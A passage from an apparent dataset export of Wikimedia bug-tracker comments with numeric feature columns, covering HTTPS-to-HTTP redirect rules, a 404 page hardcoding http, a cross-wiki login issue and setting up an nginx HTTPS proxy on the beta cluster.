That looks about right. It's unclear whether this bug should be expanded to cover the other (several dozen) similar cases in redirects.conf. It's also unclear whether there's a saner system to do this. %{HTTPS} might be best... but it's going to result in an awful lot of code duplication for one letter.",,,1317856641,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-sgag6uqk42p5r6ofdjmq,task_subcomment,,True,c2,1,True,,,-99,True,1.0,0.0,0.0,1.0,0.0,8.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,1.0,0.0,0.0,2.0,13.0,0.0,4.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,5.0,0.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,13.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,2.0,15.0,2.0,1.0,6.0,0.0,0.0,0.0,1.0,6.0,1.0,2.0,0.0,3.0,13.0,9.0,0.0,0.0,0.0,3.0,0.0,0.0,2.0,0.0,1.0,0.0,1.0,0.0,3.5376344086021505,0.6451612903225806,"(In reply to comment #3)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

That looks about right. It's unclear whether this bug should be expanded to cover the other (several dozen) similar cases in redirects.conf. It's also unclear whether there's a saner system to do this. %{HTTPS} might be best... but it's going to result in an awful lot of code duplication for one letter."
152631,Non-canonical HTTPS URLs quietly redirect to HTTP,"Like this?

    RewriteCond %{HTTPS} off
    RewriteCond %{HTTP_HOST} mediawiki.org
    RewriteRule ^/(.*)$ http://www.mediawiki.org/$1 [R=301,L]

    RewriteCond %{HTTPS} on
    RewriteCond %{HTTP_HOST} mediawiki.org
    RewriteRule ^/(.*)$ https://www.mediawiki.org/$1 [R=301,L]",,,1317856406,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-sgag6uqk42p5r6ofdjmq,task_subcomment,,True,c2,1,True,,,-99,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,7.0,18.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,4.8,0.4444444444444444,"Like this?

    RewriteCond %{HTTPS} off
    RewriteCond %{HTTP_HOST} mediawiki.org
    RewriteRule ^/(.*)$ URL [R=301,L]

    RewriteCond %{HTTPS} on
    RewriteCond %{HTTP_HOST} mediawiki.org
    RewriteRule ^/(.*)$ URL [R=301,L]"
152624,Non-canonical HTTPS URLs quietly redirect to HTTP,"(In reply to comment #1)
> There are lots of these (I think https://wikipedia.org is broken too) that are
> stuck in Squid cache and need to be purged.

Are you sure this has to do with Squid cache? Looking at <http://noc.wikimedia.org/conf/redirects.conf>, it says:

    RewriteCond %{HTTP_HOST} mediawiki.org
    RewriteRule ^/(.*)$ http://www.mediawiki.org/$1 [R=301,L]

I assumed that was the root cause of the issue here, if redirects.conf is up-to-date.",,,1317854080,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-sgag6uqk42p5r6ofdjmq,task_subcomment,,True,c2,1,True,,,-99,True,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,3.0,12.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,1.0,1.0,4.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,3.0,4.0,19.0,1.0,0.0,6.0,0.0,0.0,0.0,1.0,3.0,0.0,3.0,0.0,4.0,12.0,6.0,1.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,6.0,3.582089552238806,0.8805970149253731,"(In reply to comment #1)
QUOTE
QUOTE

Are you sure this has to do with Squid cache? Looking at <URL it says:

    RewriteCond %{HTTP_HOST} mediawiki.org
    RewriteRule ^/(.*)$ URL [R=301,L]

I assumed that was the root cause of the issue here, if redirects.conf is up-to-date."
152618,Non-canonical HTTPS URLs quietly redirect to HTTP,There are lots of these (I think https://wikipedia.org is broken too) that are stuck in Squid cache and need to be purged.,,,1317808786,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-sgag6uqk42p5r6ofdjmq,task_subcomment,,True,c2,1,False,,,-99,True,0.0,0.0,0.0,12.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,4.0,0.0,4.0,12.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,16.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,12.0,4.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,3.32,0.96,There are lots of these (I think URL is broken too) that are stuck in Squid cache and need to be purged.
32733,Wikimedia 404 Error shouldn't hardcode http,"Visiting https://commons.wikimedia.org/x  shows two problems:
* It says I am at http://commons.wikimedia.org/x , which is not true. This needs to be fixed to use the current protocol, as should the redirect
* It uses images from http://upload.wikimedia.org, should use protocol-relative instead.

--------------------------
**Version**: unspecified
**Severity**: normal
**URL**: https://commons.wikimedia.org/x",High,80.0,1315065780,1329759768.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,,False,PHID-TASK-cnle2hlxk4wnngobwoq7,task_description,resolved,True,c2,0,True,False,True,-104,True,0.0,0.0,0.0,1.0,1.0,7.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,3.0,7.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,1.0,3.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,14.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,3.0,4.0,16.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,1.0,0.0,4.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,3.4342105263157894,0.5789473684210527,"Visiting URL  shows two problems:
* It says I am at URL , which is not true. This needs to be fixed to use the current protocol, as should the redirect
* It uses images from URL should use protocol-relative instead.

--------------------------
**Version**: unspecified
**Severity**: normal
**URL**: URL"
151925,Wikimedia 404 Error shouldn't hardcode http,HTTP hardcoding seems to have been removed so I am closing this bug.,,,1329759768,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-cnle2hlxk4wnngobwoq7,task_subcomment,,True,c2,1,True,,,-80,True,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,7.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,7.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,4.0,1.0,HTTP hardcoding seems to have been removed so I am closing this bug.
151911,Wikimedia 404 Error shouldn't hardcode http,"(In reply to comment #4)
> Also, the link below seems to hardcoded //en.wikipedia.org - which should show
> https://www.mediawiki.org

That is bug 28648.",,,1329759707,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-cnle2hlxk4wnngobwoq7,task_subcomment,,True,c2,1,True,,,-80,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,22.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,6.0,0.0,11.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.8888888888888888,"(In reply to comment #4)
QUOTE
QUOTE

That is bug 28648."
151903,Wikimedia 404 Error shouldn't hardcode http,"Created attachment 9142
outside /w the error seems to be good

**Attached**: {F8247}",,,1317576218,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-cnle2hlxk4wnngobwoq7,task_subcomment,,True,c2,0,True,,,-100,True,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,14.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3636363636363638,0.8636363636363636,"Created attachment 9142
outside /w the error seems to be good

**Attached**: {F8247}"
151896,Wikimedia 404 Error shouldn't hardcode http,"Also, the link below seems to hardcoded //en.wikipedia.org - which should show https://www.mediawiki.org",,,1317576027,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-cnle2hlxk4wnngobwoq7,task_subcomment,,True,c2,0,True,,,-100,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,7.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,14.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,14.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,1.0,"Also, the link below seems to hardcoded //en.wikipedia.org - which should show URL"
151890,Wikimedia 404 Error shouldn't hardcode http,"Created attachment 9141
http in the error on https://www.mediawiki.org

**Attached**: {F8246}",,,1317575994,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-cnle2hlxk4wnngobwoq7,task_subcomment,,True,c2,0,True,,,-100,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,20.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.15,0.85,"Created attachment 9141
http in the error on URL

**Attached**: {F8246}"
151884,Wikimedia 404 Error shouldn't hardcode http,Bug is back.,,,1317575972,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-cnle2hlxk4wnngobwoq7,task_subcomment,,True,c2,0,True,,,-100,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5,1.0,Bug is back.
151878,Wikimedia 404 Error shouldn't hardcode http,Fixed.,,,1315237944,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-cnle2hlxk4wnngobwoq7,task_subcomment,,True,c2,0,False,,,-104,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,Fixed.
39240,Login with with automatic account creation doesn't work with temporary password (accounts created by email),"I created an account for Dan-nl ( https://nl.wikipedia.org/w/index.php?title=Speciaal%3ALogboeken&type=newusers&user=Multichill&page=&year=&month=-1&tagfilter=&hide_patrol_log=1 ). The email didn't contain a link so Dan tried to login on the English Wikipedia with his temp password, but that didn't work. He had to go to the nlwp to get it working.

--------------------------
**Version**: master
**Severity**: normal",Medium,50.0,1338460860,,PHID-USER-cw4amt4ewxdze5qcjdca,False,,False,PHID-TASK-gjpi6af6hqzce5sopx3k,task_description,open,True,c2,1,False,False,,-65,True,0.0,0.0,0.0,0.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,1.0,0.0,4.0,10.0,0.0,4.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,12.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,14.0,0.0,1.0,9.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,6.0,10.0,10.0,0.0,0.0,0.0,6.0,0.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,3.391304347826087,0.7391304347826086,"I created an account for Dan-nl ( URL ). The email didn't contain a link so Dan tried to login on the English Wikipedia with his temp password, but that didn't work. He had to go to the nlwp to get it working.

--------------------------
**Version**: master
**Severity**: normal"
173480,Login with with automatic account creation doesn't work with temporary password (accounts created by email),"(In reply to comment #2)
> Now I see you created the account using standard interface from ""Multichill"",
> target user needs to login at least once to wiki so that global account is
> created

Never heard of this. [[m:Special:CentralAuth/Dan-nl]] shows the global account has been created immediately.
Clarified summary and moved to CentralAuth component.",,,1345793759,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-gjpi6af6hqzce5sopx3k,task_subcomment,,True,c2,1,True,,,-53,True,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,20.0,0.0,2.0,4.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,8.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,3.607843137254902,0.7647058823529411,"(In reply to comment #2)
QUOTE
QUOTE
QUOTE

Never heard of this. [[m:Special:CentralAuth/Dan-nl]] shows the global account has been created immediately.
Clarified summary and moved to CentralAuth component."
173477,Login with with automatic account creation doesn't work with temporary password (accounts created by email),"Now I see you created the account using standard interface from ""Multichill"", target user needs to login at least once to wiki so that global account is created",,,1338461385,,PHID-USER-ppytiem7rcsbnstfsrvq,False,,,PHID-TASK-gjpi6af6hqzce5sopx3k,task_subcomment,,True,c2,1,True,,,-65,True,0.0,0.0,0.0,3.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,19.0,0.0,3.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,10.0,3.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,10.0,6.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,6.0,19.0,3.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,4.290322580645161,0.8709677419354839,"Now I see you created the account using standard interface from ""Multichill"", target user needs to login at least once to wiki so that global account is created"
173467,Login with with automatic account creation doesn't work with temporary password (accounts created by email),"Because the SUL account was not created, how did you register the account? He has two different passwords in this moment, tell him to reset the password on both wiki's using his e-mail, then he needs to login to both and merge them",,,1338461306,,PHID-USER-ppytiem7rcsbnstfsrvq,False,,,PHID-TASK-gjpi6af6hqzce5sopx3k,task_subcomment,,True,c2,1,True,,,-65,True,0.0,0.0,0.0,2.0,2.0,2.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,12.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,6.0,2.0,6.0,4.0,2.0,12.0,0.0,0.0,0.0,0.0,10.0,0.0,2.0,0.0,12.0,12.0,2.0,2.0,0.0,0.0,12.0,0.0,2.0,0.0,4.0,2.0,0.0,0.0,0.0,3.78,0.84,"Because the SUL account was not created, how did you register the account? He has two different passwords in this moment, tell him to reset the password on both wiki's using his e-mail, then he needs to login to both and merge them"
38952,Requests for resources through a non-canonical address over HTTPS redirect to the canonical address on HTTP,"As the topic says:

* https://www.wikimediafoundation.org -> http://wikimediafoundation.org
* https://mediawiki.org -> http://www.mediawiki.org
* https://www.wikisource.org -> http://wikisource.org/
* ..

--------------------------
**Version**: unspecified
**Severity**: normal",Medium,50.0,1337330880,1468976461.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,PHID-USER-xqqqgn2dels45flxw5kb,False,PHID-TASK-ytlztly37t5b662trr3f,task_description,duplicate,True,c2,1,True,False,False,-67,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,20.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,2.772727272727273,0.38636363636363635,"As the topic says:

* URL -> URL
* URL -> URL
* URL -> URL
* ..

--------------------------
**Version**: unspecified
**Severity**: normal"
174784,Requests for resources through a non-canonical address over HTTPS redirect to the canonical address on HTTP,"

*** This bug has been marked as a duplicate of bug 31369 ***",,,1340842014,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-ytlztly37t5b662trr3f,task_subcomment,,True,c2,1,True,,,-61,True,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7777777777777777,0.6666666666666666,"

*** This bug has been marked as a duplicate of bug 31369 ***"
38648,replicate HTTPS architecture,"It would be great to have access to the labs using HTTPS. Some tests might require us to have access to a wiki using both HTTP and HTTPS, login tests come to mind.

Following a discussion with ops, it would be possible to use a NGINX proxy as a frontend to split HTTP and HTTPS requests. HTTPS would be terminated on a second NGINX proxy just like in production.

--------------------------
**Version**: unspecified
**Severity**: enhancement",Medium,50.0,1336496040,1369125111.0,PHID-USER-orzyp3dswemhdgdznro5,False,,False,PHID-TASK-tnsugautoyxawtej4a6p,task_description,resolved,True,c2,1,True,False,True,-69,True,1.0,0.0,0.0,1.0,0.0,4.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,13.0,0.0,4.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,3.0,2.0,1.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,14.0,0.0,2.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,3.0,13.0,6.0,0.0,0.0,0.0,3.0,0.0,0.0,5.0,1.0,3.0,0.0,0.0,0.0,3.9574468085106385,0.5851063829787234,"It would be great to have access to the labs using HTTPS. Some tests might require us to have access to a wiki using both HTTP and HTTPS, login tests come to mind.

Following a discussion with ops, it would be possible to use a NGINX proxy as a frontend to split HTTP and HTTPS requests. HTTPS would be terminated on a second NGINX proxy just like in production.

--------------------------
**Version**: unspecified
**Severity**: enhancement"
174361,replicate HTTPS architecture,"This is overall fixed, we still have to generate the SSL certificates which is bug 48501.  To reduce a bit the number of bugs, I hereby declare we have HTTPS architecture on beta.",,,1369125111,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-tnsugautoyxawtej4a6p,task_subcomment,,True,c2,1,True,,,-15,True,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,11.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,3.0,0.0,8.0,5.0,13.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,5.0,0.0,3.0,0.0,8.0,11.0,5.0,0.0,0.0,0.0,8.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.8684210526315788,0.8421052631578947,"This is overall fixed, we still have to generate the SSL certificates which is bug 48501.  To reduce a bit the number of bugs, I hereby declare we have HTTPS architecture on beta."
174354,replicate HTTPS architecture,"With the help of Ariel, we got HTTPS on beta now! https://en.wikipedia.beta.wmflabs.org/wiki/Main_Page and for bits as well. The certificate names are not matching though.",,,1368531998,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-tnsugautoyxawtej4a6p,task_subcomment,,True,c2,1,True,,,-16,True,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,18.0,14.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,7.0,4.0,18.0,0.0,4.0,7.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,14.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,3.5357142857142856,0.9642857142857143,"With the help of Ariel, we got HTTPS on beta now! URL and for bits as well. The certificate names are not matching though."
174345,replicate HTTPS architecture,"The deployment-nginx-test instance has Gerrit change #62582 (patchset 8) applied. I have manually tweaked the configuration in the following way:

/etc/hosts makes bits.beta.wmflabs.org to 127.0.0.1

Upstream cache is set to the bits cache since my instance does not run a bits cache locally. Hence the conf shows up as:

 upstream bits {
   server 10.4.0.51:80;
   server 10.4.0.51:80;
 }


Doing a local curl such as: curl https://bits.beta.wmflabs.org/  does give me some valid content.  So I guess we have a first pass working.",,,1367940695,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-tnsugautoyxawtej4a6p,task_subcomment,,True,c2,1,True,,,-17,True,1.0,0.0,0.0,0.5,0.5,5.0,0.0,0.0,0.0,0.0,3.5,0.0,0.0,0.0,0.0,4.0,0.0,4.0,5.0,0.0,0.0,0.0,0.5,0.0,0.5,0.0,0.0,2.0,0.0,0.0,0.0,6.5,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.5,0.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,5.5,0.5,6.5,0.5,0.0,6.5,0.0,0.0,0.0,0.5,2.0,0.0,3.0,0.0,4.0,5.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,2.5,1.0,1.0,0.0,0.0,0.0,4.0754716981132075,0.8207547169811321,"The deployment-nginx-test instance has Gerrit change #62582 (patchset 8) applied. I have manually tweaked the configuration in the following way:

/etc/hosts makes bits.beta.wmflabs.org to 127.0.0.1

Upstream cache is set to the bits cache since my instance does not run a bits cache locally. Hence the conf shows up as:

 upstream bits {
   server 10.4.0.51:80;
   server 10.4.0.51:80;
 }


Doing a local curl such as: curl URL  does give me some valid content.  So I guess we have a first pass working."
174334,replicate HTTPS architecture,"[ccing Ariel]

Ariel and I did a brainstorming this afternoon. We now have an overall idea of the HTTPS infrastructure and Ariel about the beta setup.

Beta does not have any support for LVS right now so we can not replicate production exactly. For example, the connections are sent directly to the caches instead of through a frontend LVS server, that means we cannot catch all the HTTPS connections and direct them at a pool of nginx proxies.

